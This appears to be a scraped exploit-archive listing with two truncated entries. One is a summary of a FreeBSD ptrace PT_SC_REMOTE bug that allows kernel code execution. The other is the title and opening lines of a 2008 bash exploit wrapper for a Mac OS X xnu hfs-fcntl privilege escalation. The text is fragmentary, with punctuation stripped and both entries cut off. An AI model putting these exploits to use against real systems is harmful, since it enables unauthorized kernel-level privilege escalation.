[FreeBSD] ptrace PT_SC_REMOTE missing argument validation: 32GiB memmove underflow + sysent out-of-bounds call

Summary A local unprivileged user can trigger a 32GiB memmove underflow via ptrace PTSCREMOTE with pscrnargs=0, and call arbitrary sysent function pointers due to missing syscall number bounds check in ptracesyscallreq. This allows kernel code execution under security.bsd.unprivilegedprocdebug=1...

Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation

!/bin/bash xnu-hfs-fcntl-v2.sh Copyright c 2008 by Apple MACOS X 792.0 \n" \ "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n" if ! -f $EXPFILE ; then echo -n " compiling exploit..." gcc -Wall $EXPFILE.c -o $EXPFILE 2 /dev/null if $? != 0 ; then echo " failed" exit $? else echo " done" fi f...